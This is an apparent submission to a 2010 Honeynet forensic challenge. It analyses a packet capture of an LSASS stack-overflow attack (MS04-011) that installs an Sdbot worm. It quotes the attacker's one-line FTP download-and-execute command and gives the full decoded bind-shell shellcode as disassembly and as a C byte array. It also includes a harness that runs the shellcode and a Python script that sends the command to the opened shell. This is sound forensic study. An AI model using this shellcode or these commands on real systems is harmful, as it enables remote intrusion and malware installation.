Challenge 1: Pcap Attack Trace (intermediate) Submission Template

Send submissions to forensicchallenge2010@honeynet.org no later then 17:00 EST, Monday, February 1st 2010. Results will be released on Monday, February 15th 2010.

Name (required): Ivan Rodriguez Almuina
Country (optional): Switzerland

Question 1. Which systems (i.e. IP addresses) are involved?	Possible Points: 2pts
Tools Used: Wireshark	Awarded Points:2pts
Answer 1. Wireshark menu Statistics => Endpoints , tab IPv4. Result: 2, the attacker 98.114.205.102 and the victim 192.150.11.111 (domain and hostname: VIDCAM)	
Examiner's Comments:	

Question 2. What can you find out about the attacking host (e.g., where is it located)?	Possible Points: 2pts
Tools Used: https://ws.arin.net/whois/, nslookup, http://www.robtex.com/, Wireshark	Awarded Points:1.5pts

Answer 2.

- The Operating System of the attacking host is Windows 2000, found with Wireshark, in packet number 14, field "Native OS".

- The address is in the whois output, tho it doesn't mean the host is there physically, at least we know that it is Verizon.
The whois output:

```
OrgName:    Verizon Internet Services Inc.
OrgID:      VRIS
Address:    1880 Campus Commons Dr
City:       Reston
StateProv:  VA
PostalCode: 20191
Country:    US
```

- The word 'pool' in the reverse DNS could mean that it is a dynamically assigned IP address from an internet provider.
The nslookup output:
Nom : pool-98-114-205-102.phlapa.fios.verizon.net
Address: 98.114.205.102

Examiner's Comments:

Question 3. How many TCP sessions are contained in the dump file?	Possible Points: 2pts
Tools Used: Wireshark	Awarded Points:2pts
Answer 3. Wireshark menu Statistics => Conversations, tab TCP. Result: 5. ip:port <direction> ip:port <action> 98.114.205.102:1821 -> 192.150.11.111:445 <port scan> 98.114.205.102:1828 -> 192.150.11.111:445 <trigger overflow, exploited> 192.150.11.111:1957 <- 98.114.205.102:1924 <connect to bind shell (after exploitation)> 192.150.11.111:36296 -> 98.114.205.102:8884 <connect to FTP server> 98.114.205.102:2152 -> 192.150.11.111:1080 <connect to FTP data port and send malware> The first connection doesn't contain any data and is only 7 packets long (only packets with SYN, FIN or ACK flags) so I think it corresponds to a port scan.	
Examiner's Comments:	

Question 4. How long did it take to perform the attack?	Possible Points: 2pts
Tools Used: Wireshark	Awarded Points:1.5pts
Answer 4. Wireshark menu Statistics => Summary, "Elapsed" field. Result: 16 seconds.	
Examiner's Comments:	

Question 5. Which operating system was targeted by the attack? And which service? Which vulnerability?	Possible Points: 6pts
Tools Used: Wireshark, http://www.google.com/	Awarded Points:6pts
Answer 5. OS? Windows XP, the victim OS can be seen with Wireshark, packet number 16, field "Native OS" (Windows 5.1 which corresponds to Windows XP). Service? The Active Directory features provided by the Local Security Authority Subsystem Service (LSASS) (file LSASRV.DLL), accessed via LSARPC named pipe over TCP port 445 (445 corresponds to the service "SMB over TCP"). Vulnerability?	

Found by eEye: http://research.eeye.com/html/advisories/published/AD20040413C.html
Official CVE CAN-2003-0533: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0533
Microsoft Security Bulletin MS04-011: http://www.microsoft.com/technet/security/bulletin/MS04-011.mspx

The vulnerability lies in the undocumented function DsRoleUpgradeDownlevelServer() implemented in NETAPI32.DLL. It is accessible through SMB, sending a DCE/RPC request to LSASS.EXE. The bug is a stack overflow, working on windows 2000 and windows XP. For a more detailed description report to the eEye advisory (http://research.eeye.com/html/advisories/published/AD20040413C.html), everything is explained with a lot of details.

Examiner's Comments:

Question 6. Can you sketch an overview of the general actions performed by the attacker?	Possible Points: 6pts
Tools Used: Wireshark, Ollydbg	Awarded Points:6pts

Answer 6.

1. Connects to port 445 and directly closes it to verify if the port is open or not (port scan).
2. Establishes SMB session as NULL user over the 445 (SMB over TCP) port (connection to \\192.150.11.111\ipc$).
3. Connects to the LSARPC named pipe over SMB again.
4. Calls DsRoleUpgradeDownlevelServer() with a long szDomainName parameter containing a shellcode of type "bind shell", which will overflow the stack (again, through the same port, 445).
5. The shellcode gets executed on the victim's computer, it binds to port 1957 and waits for a connection.
6. The attacker connects to the victim's port 1957 and obtains a shell (cmd.exe).
7a. The attacker prepares and executes a FTP session from the victim's computer to his own, with the following commands: echo open 0.0.0.0 8884 > o&echo user 1 1 >> o &echo get ssms.exe >> o &echo quit >> o &ftp -n -s:o &del /F /Q o &ssms.exe
7b. Those commands will connect the victim to the ftp server 0.0.0.0 (error? It should be 98.114.205.102) port 8884 and make it download the malware ssms.exe.
7c. Then the malware is executed through the shell: ssms.exe (though it was already executed within the other commands' sequence)
8. Game Over.

Examiner's Comments:

Question 7. What specific vulnerability was attacked?	Possible Points: 2pts
Tools Used: Wireshark, http://www.google.com/	Awarded Points:2pts

Answer 7.

Already answered in Question 5:
Found by eEye: http://research.eeye.com/html/advisories/published/AD20040413C.html
Official CVE CAN-2003-0533: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0533
Microsoft Security Bulletin MS04-011: http://www.microsoft.com/technet/security/bulletin/MS04-011.mspx

The vulnerability lies in the undocumented function DsRoleUpgradeDownlevelServer() implemented in NETAPI32.DLL. It is accessible through SMB, sending a DCE/RPC request to LSASS.EXE. The bug is a stack overflow, working on windows 2000 and windows XP. For a more detailed description report to the eEye advisory (http://research.eeye.com/html/advisories/published/AD20040413C.html), everything is explained with a lot of details.

Examiner's Comments:

Question 8. What actions does the shellcode perform? Pls list the shellcode	Possible Points: 8pts
Tools Used: Ollydbg	Awarded Points:8pts

Answer 8.

The shellcode has nothing special (it is the same as scode2 in http://www.milw0rm.com/exploits/293), it uses well-known methods to get functions' offsets and to build stack frames. The actions performed are the following:

1. decode the shellcode (with a generic xor decoder, which xores almost all the shellcode with 0x99)
2. find GetProcAddress and LoadLibraryA from kernel32.dll in PEB
3. call WSASocket() to obtain a AF_INET and TCP socket.
4. bind() the obtained socket to port 1957
5. listen() with a backlog of 1
6. accept() incoming connections
7. prepare the STARTUPINFO (bind the accept()'ed incoming socket to the stds of the process) and PROCESS_INFORMATION.
8. execute "cmd".
9. close accept()'ed socket (closesocket())
10. close bind()'ed socket (closesocket())
11. calls ExitThread() which ends the thread.

Ollydbg output after decode (xor 0x99) and with some comments I wrote:

```
CPU Disasm
Address   Hex dump         Command                          Comments
0040A000    EB 10          JMP SHORT 0040A012
0040A002    5A             POP EDX
0040A003    4A             DEC EDX
0040A004    33C9           XOR ECX,ECX
0040A006    66:B9 7D01     MOV CX,17D
0040A00A    80340A 99      XOR BYTE PTR DS:[ECX+EDX],99                ; decode the payload xoring with the value
0x99, basic encoder...
0040A00E    E2 FA          LOOP SHORT 0040A00A
0040A010    EB 05          JMP SHORT 0040A017
0040A012    E8 EBFFFFFF    CALL 0040A002
0040A017    E9 0C010000    JMP 0040A128
0040A01C    5A             POP EDX
0040A01D    64:A1 30000000  MOV EAX,DWORD PTR FS:[30]    ; PEB
0040A023    8B40 0C        MOV EAX,DWORD PTR DS:[EAX+0C]  ; get kernel32 imagebase.. it supposes it is the first.
0040A026    8B70 1C        MOV ESI,DWORD PTR DS:[EAX+1C]
0040A029    AD             LODS DWORD PTR DS:[ESI]
0040A02A    8B40 08        MOV EAX,DWORD PTR DS:[EAX+8]
0040A02D    8BD8           MOV EBX,EAX
0040A02F    8B73 3C        MOV ESI,DWORD PTR DS:[EBX+3C]
0040A032    8B741E 78      MOV ESI,DWORD PTR DS:[EBX+ESI+78]
0040A036    03F3           ADD ESI,EBX
0040A038    8B7E 20        MOV EDI,DWORD PTR DS:[ESI+20]
0040A03B    03FB           ADD EDI,EBX
0040A03D    8B4E 14        MOV ECX,DWORD PTR DS:[ESI+14]
0040A040    33ED           XOR EBP,EBP
0040A042    56             PUSH ESI
0040A043    57             PUSH EDI
```

```
0040A044   51            PUSH ECX
0040A045   8B3F          MOV EDI,DWORD PTR DS:[EDI]
0040A047   03FB          ADD EDI,EBX
0040A049   8BF2          MOV ESI,EDX
0040A04B   6A 0E         PUSH 0E
0040A04D   59            POP ECX
0040A04E   F3:A6         REPE CMPS BYTE PTR DS:[ESI],BYTE PTR ES:[EDI] ; find GetProcAddress()
0040A050   74 08         JE SHORT 0040A05A
0040A052   59            POP ECX
0040A053   5F            POP EDI
0040A054   83C7 04       ADD EDI,4
0040A057   45            INC EBP
0040A058   E2 E9         LOOP SHORT 0040A043
0040A05A   59            POP ECX
0040A05B   5F            POP EDI
0040A05C   5E            POP ESI
0040A05D   8BCD          MOV ECX,EBP
0040A05F   8B46 24       MOV EAX,DWORD PTR DS:[ESI+24]
0040A062   03C3          ADD EAX,EBX
0040A064   D1E1          SHL ECX,1
0040A066   03C1          ADD EAX,ECX
0040A068   33C9          XOR ECX,ECX
0040A06A   66:8B08       MOV CX,WORD PTR DS:[EAX]
0040A06D   8B46 1C       MOV EAX,DWORD PTR DS:[ESI+1C]
0040A070   03C3          ADD EAX,EBX
0040A072   C1E1 02       SHL ECX,2
0040A075   03C1          ADD EAX,ECX
0040A077   8B00          MOV EAX,DWORD PTR DS:[EAX]
0040A079   03C3          ADD EAX,EBX
0040A07B   8BFA          MOV EDI,EDX
0040A07D   8BF7          MOV ESI,EDI
0040A07F   83C6 0E       ADD ESI,0E
0040A082   8BD0          MOV EDX,EAX
0040A084   6A 03         PUSH 3
0040A086   59            POP ECX
0040A087   E8 87000000   CALL 0040A113 ; get offsets of kernel32.CreateProcessA, kernel32.ExitThread and
kernel32.LoadLibrary
0040A08C   83C6 0D       ADD ESI,0D
0040A08F   52            PUSH EDX
0040A090   56            PUSH ESI
0040A091   FF57 FC       CALL DWORD PTR DS:[EDI-4] ; kernel32.LoadLibraryA("ws2_32")
0040A094   5A            POP EDX
0040A095   8BD8          MOV EBX,EAX
0040A097   6A 05         PUSH 5
0040A099   59            POP ECX
0040A09A   E8 74000000   CALL 0040A113 ; get offsets of ws2_32.WSASocketA, ws2_32.bind, ws2_32.listen,
ws2_32.accept and ws2_32.closesocket
0040A09F   50            PUSH EAX
0040A0A0   50            PUSH EAX
0040A0A1   50            PUSH EAX
0040A0A2   50            PUSH EAX
0040A0A3   6A 01         PUSH 1
0040A0A5   6A 02         PUSH 2
0040A0A7   FF57 EC       CALL DWORD PTR DS:[EDI-14] ; ws2_32.WSASocketA(AF_INET,SOCK_STREAM,0,0,0,0)
0040A0AA   8BD8          MOV EBX,EAX
```

```
0040A0AC    C707 020007A5  MOV DWORD PTR DS:[EDI],A5070002 ; struct sockaddr { family = AF_INET; port =
1957 }
0040A0B2    33C0           XOR EAX,EAX
0040A0B4    8947 04        MOV DWORD PTR DS:[EDI+4],EAX
0040A0B7    6A 10          PUSH 10
0040A0B9    57             PUSH EDI
0040A0BA    53             PUSH EBX
0040A0BB    FF57 F0        CALL DWORD PTR DS:[EDI-10]                  ; ws2_32.bind (port 1957)
0040A0BE    6A 01          PUSH 1
0040A0C0    53             PUSH EBX
0040A0C1    FF57 F4        CALL DWORD PTR DS:[EDI-0C]                  ; ws2_32.listen (backlog 1)
0040A0C4    50             PUSH EAX
0040A0C5    50             PUSH EAX
0040A0C6    53             PUSH EBX
0040A0C7    FF57 F8        CALL DWORD PTR DS:[EDI-8]                   ; ws2_32.accept()
0040A0CA    8BD0           MOV EDX,EAX
0040A0CC    83EC 44        SUB ESP,44 ; make some room for STARTUPINFO structure
0040A0CF    8BF4           MOV ESI,ESP
0040A0D1    33C0           XOR EAX,EAX
0040A0D3    6A 10          PUSH 10
0040A0D5    59             POP ECX
0040A0D6    89048E         MOV DWORD PTR DS:[ECX*4+ESI],EAX  ; set memory to ZERO (0x44 bytes corresponding
to STARTUPINFO structure)
0040A0D9    E2 FB          LOOP SHORT 0040A0D6
0040A0DB    8956 38        MOV DWORD PTR DS:[ESI+38],EDX ; link accept()'d SOCKET to STARTUPINFO.hStdInput
0040A0DE    8956 3C        MOV DWORD PTR DS:[ESI+3C],EDX ;link accept()'d SOCKET to STARTUPINFO.hStdOutput
0040A0E1    8956 40        MOV DWORD PTR DS:[ESI+40],EDX ; link accept()'d SOCKET to STARTUPINFO.hStdError
0040A0E4    66:C746 2C 0101 MOV WORD PTR DS:[ESI+2C],101 ; STARTUPINFO.dwFlags =
STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW
0040A0EA    8D47 10        LEA EAX,[EDI+10] ; PROCESS_INFORMATION structure
0040A0ED    50             PUSH EAX                                    ; push PROCESS_INFORMATION structure
0040A0EE    56             PUSH ESI                                    ; push STARTUPINFO structure
0040A0EF    33C9           XOR ECX,ECX
0040A0F1    51             PUSH ECX
0040A0F2    51             PUSH ECX
0040A0F3    51             PUSH ECX
0040A0F4    6A 01          PUSH 1
0040A0F6    51             PUSH ECX
0040A0F7    51             PUSH ECX
0040A0F8    C747 3C 636D640 MOV DWORD PTR DS:[EDI+3C],646D63  ; "cmd\0"
0040A0FF    8D47 3C        LEA EAX,[EDI+3C]
0040A102    50             PUSH EAX
0040A103    51             PUSH ECX
0040A104    FF57 E0        CALL DWORD PTR DS:[EDI-20]                  ; kernel32.CreateProcessA (command "cmd",
stds (stdin/stdout/stderr) bound to accepted SOCKET)
0040A107    52             PUSH EDX
0040A108    FF57 FC        CALL DWORD PTR DS:[EDI-4]                   ; ws2_32.closesocket
0040A10B    53             PUSH EBX
0040A10C    FF57 FC        CALL DWORD PTR DS:[EDI-4]                   ; ws2_32.closesocket
0040A10F    50             PUSH EAX
0040A110    FF57 E4        CALL DWORD PTR DS:[EDI-1C]                  ; kernel32.ExitThread
0040A113    33C0           XOR EAX,EAX
0040A115    AC             LODS BYTE PTR DS:[ESI]
0040A116    85C0           TEST EAX,EAX
0040A118  ^ 75 F9          JNE SHORT 0040A113
```

```
0040A11A   51            PUSH ECX
0040A11B   52            PUSH EDX
0040A11C   56            PUSH ESI
0040A11D   53            PUSH EBX
0040A11E   FFD2            CALL EDX
0040A120   5A            POP EDX
0040A121   59            POP ECX
0040A122   AB             STOS DWORD PTR ES:[EDI]
0040A123   E2 EE          LOOP SHORT 0040A113
0040A125   33C0           XOR EAX,EAX
0040A127   C3             RETN
0040A128   E8 EFFEFFFF     CALL 0040A01C
; Strings corresponding to the functions' names and the winsock dll (ws2_32).
0040A12D  47 65 74 50 72 6F 63 41  GetProcA
0040A135  64 64 72 65 73 73 00 43  ddress.C
0040A13D  72 65 61 74 65 50 72 6F  reatePro
0040A145  63 65 73 73 41 00 45 78  cessA.Ex
0040A14D  69 74 54 68 72 65 61 64  itThread
0040A155  00 4C 6F 61 64 4C 69 62  .LoadLib
0040A15D  72 61 72 79 41 00 77 73  raryA.ws
0040A165  32 5F 33 32 00 57 53 41  2_32.WSA
0040A16D  53 6F 63 6B 65 74 41 00  SocketA.
0040A175  62 69 6E 64 00 6C 69 73  bind.lis
0040A17D  74 65 6E 00 61 63 63 65  ten.acce
0040A185  70 74 00 63 6C 6F 73 65  pt.close
0040A18D  73 6F 63 6B 65 74 00     socket.
```

Well, I think I'll stop writing details to the shellcode, I could simply recode it in C, but I don't think it is really necessary. The main idea is described…

Examiner's Comments:

Question 9. Do you think a Honeypot was used to pose as a vulnerable victim? Why?	Possible Points: 6pts
Tools Used: Wireshark, VMWare, python, uedit32, ollydbg, Visual Studio Express	Awarded Points:6pts

Answer 9.

Yes. The fact that the victim connects to the attacker's FTP server even if he sent 0.0.0.0 as IP address.

Another evidence is that the victim sends a 0x0a ('\n', new line) byte right after the attacker connects (packet number 41, it sends another new line byte in packet number 46) to the shell (bound on port 1957, prepared by the shellcode), it isn't a normal behavior for cmd.exe, it must send the banner "Microsoft Windows XP [version 5.1.2600]" (if it sends something, it can occur that the shell doesn't have enough time to send its banner).

So yes the victim seems to be a honeypot.

It should be noted that I executed the shellcode in an .exe, calling WSAStartup(0x101, &wsa) at the begin to init winsock. Then I send the same payload (with a python script) as the attacker and I sniffed everything with Wireshark. I did it to prove that cmd.exe would NEVER send a new line byte instead of the banner (or nothing). Here you can see the full stuff I used:

sc_challenge.c:

```
#include <winsock.h>

#pragma comment(lib, "ws2_32")
```

```
/* shellcode dumped with wireshark, then cleaned manually. */
char sc[] = {
0xeb, 0x10, 0x5a, 0x4a,
0x33, 0xc9, 0x66, 0xb9, 0x7d, 0x01, 0x80, 0x34,
0x0a, 0x99, 0xe2, 0xfa, 0xeb, 0x05, 0xe8, 0xeb,
0xff, 0xff, 0xff, 0x70, 0x95, 0x98, 0x99, 0x99,
0xc3, 0xfd, 0x38, 0xa9, 0x99, 0x99, 0x99, 0x12,
0xd9, 0x95, 0x12, 0xe9, 0x85, 0x34, 0x12, 0xd9,
0x91, 0x12, 0x41, 0x12, 0xea, 0xa5, 0x12, 0xed,
0x87, 0xe1, 0x9a, 0x6a, 0x12, 0xe7, 0xb9, 0x9a,
0x62, 0x12, 0xd7, 0x8d, 0xaa, 0x74, 0xcf, 0xce,
0xc8, 0x12, 0xa6, 0x9a, 0x62, 0x12, 0x6b, 0xf3,
0x97, 0xc0, 0x6a, 0x3f, 0xed, 0x91, 0xc0, 0xc6,
0x1a, 0x5e, 0x9d, 0xdc, 0x7b, 0x70, 0xc0, 0xc6,
0xc7, 0x12, 0x54, 0x12, 0xdf, 0xbd, 0x9a, 0x5a,
0x48, 0x78, 0x9a, 0x58, 0xaa, 0x50, 0xff, 0x12,
0x91, 0x12, 0xdf, 0x85, 0x9a, 0x5a, 0x58, 0x78,
0x9b, 0x9a, 0x58, 0x12, 0x99, 0x9a, 0x5a, 0x12,
0x63, 0x12, 0x6e, 0x1a, 0x5f, 0x97, 0x12, 0x49,
0xf3, 0x9a, 0xc0, 0x71, 0x1e, 0x99, 0x99, 0x99,
0x1a, 0x5f, 0x94, 0xcb, 0xcf, 0x66, 0xce, 0x65,
0xc3, 0x12, 0x41, 0xf3, 0x9c, 0xc0, 0x71, 0xed,
0x99, 0x99, 0x99, 0xc9, 0xc9, 0xc9, 0xc9, 0xf3,
0x98, 0xf3, 0x9b, 0x66, 0xce, 0x75, 0x12, 0x41,
0x5e, 0x9e, 0x9b, 0x99, 0x9e, 0x3c, 0xaa, 0x59,
0x10, 0xde, 0x9d, 0xf3, 0x89, 0xce, 0xca, 0x66,
0xce, 0x69, 0xf3, 0x98, 0xca, 0x66, 0xce, 0x6d,
0xc9, 0xc9, 0xca, 0x66, 0xce, 0x61, 0x12, 0x49,
0x1a, 0x75, 0xdd, 0x12, 0x6d, 0xaa, 0x59, 0xf3,
0x89, 0xc0, 0x10, 0x9d, 0x17, 0x7b, 0x62, 0x10,
0xcf, 0xa1, 0x10, 0xcf, 0xa5, 0x10, 0xcf, 0xd9,
0xff, 0x5e, 0xdf, 0xb5, 0x98, 0x98, 0x14, 0xde,
0x89, 0xc9, 0xcf, 0xaa, 0x50, 0xc8, 0xc8, 0xc8,
0xf3, 0x98, 0xc8, 0xc8, 0x5e, 0xde, 0xa5, 0xfa,
0xf4, 0xfd, 0x99, 0x14, 0xde, 0xa5, 0xc9, 0xc8,
0x66, 0xce, 0x79, 0xcb, 0x66, 0xce, 0x65, 0xca,
0x66, 0xce, 0x65, 0xc9, 0x66, 0xce, 0x7d, 0xaa,
0x59, 0x35, 0x1c, 0x59, 0xec, 0x60, 0xc8, 0xcb,
0xcf, 0xca, 0x66, 0x4b, 0xc3, 0xc0, 0x32, 0x7b,
0x77, 0xaa, 0x59, 0x5a, 0x71, 0x76, 0x67, 0x66,
0x66, 0xde, 0xfc, 0xed, 0xc9, 0xeb, 0xf6, 0xfa,
0xd8, 0xfd, 0xfd, 0xeb, 0xfc, 0xea, 0xea, 0x99,
0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb,
0xf6, 0xfa, 0xfc, 0xea, 0xea, 0xd8, 0x99, 0xdc,
0xe1, 0xf0, 0xed, 0xcd, 0xf1, 0xeb, 0xfc, 0xf8,
0xfd, 0x99, 0xd5, 0xf6, 0xf8, 0xfd, 0xd5, 0xf0,
0xfb, 0xeb, 0xf8, 0xeb, 0xe0, 0xd8, 0x99, 0xee,
0xea, 0xab, 0xc6, 0xaa, 0xab, 0x99, 0xce, 0xca,
0xd8, 0xca, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0xd8,
0x99, 0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0,
0xea, 0xed, 0xfc, 0xf7, 0x99, 0xf8, 0xfa, 0xfa,
0xfc, 0xe9, 0xed, 0x99, 0xfa, 0xf5, 0xf6, 0xea,
0xfc, 0xea, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
```

```
int main(void)
{
 WSADATA wsa;

 /* init winsock otherwise the shellcode will fail */
 WSAStartup(0x101, &wsa);

 /* execute the shellcode */
 __asm {
  //_emit 0xcc
  lea eax, sc
  call eax
 }
 return 0;
}
```

s.py:

```
#!/usr/bin/env python
#

import socket

c = "echo open 0.0.0.0 8884 > o&echo user 1 1 >> o &echo get ssms.exe >> o &echo quit >> o &ftp -n -s:o &del /F /Q o
&ssms.exe\r\n"

socket.setdefaulttimeout(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.133.130", 1957))
s.send(c)
s.close()
```

Voilà.

Examiner's Comments:

Question 10. Was there malware involved? Whats the name of the malware? (We are not looking for a detailed malware analysis for this challenge)	Possible Points: 2pts
Tools Used: Wireshark, AntiVirus (McAfee), Ultraedit32 (hex editor)	Awarded Points:2pts

Answer 10.

Yes. The filename is "ssms.exe" and McAfee detects it as "W32/Sdbot.worm.gen.x".

Examiner's Comments:

Question 11. Do you think this is a manual or an automated attack? Why?	Possible Points: 2pts
Tools Used: Wireshark, AntiVirus (McAfee)	Awarded Points:2pts

Answer 11.

I think it is automated, because of the first connection, that is a simple port scan, and the delay between each connection (5 connections in total) is really tiny, always less than a second, impossible for a human to type everything by hand …

Another reason is that the transferred file is a worm, and finally, McAfee detects the result of the following commands (the result is a file named 'o' containing the sequence of the FTP commands to download the malware from a FTP server):
echo open 0.0.0.0 8884 > o&echo user 1 1 >> o &echo get ssms.exe >> o &echo quit >> o &ftp -n -s:o &del /F /Q o &ssms.exe
As the same worm as in the transferred .exe … (W32/Sdbot.worm.gen.x)

So basically the attacker prepared some automated solution to scan and infect new targets and he made a mistake in the detection of his IP address that serves in the FTP commands (or you modified the real IP address to 0.0.0.0 after the capture just to see if people would notice it during the challenge… ;)) or the attacker is infected by the worm and it couldn't detect the right IP address to use in FTP commands. In any case the attack is automated. Amen.

Thank you for the pleasure provided by this forensic challenge, it is the first time I do a forensic challenge and it was really pleasant, I hope you will continue with less trivial challenges ;)

Examiner's Comments:

2 bonus points for your thoroughness

Total awarded points: 41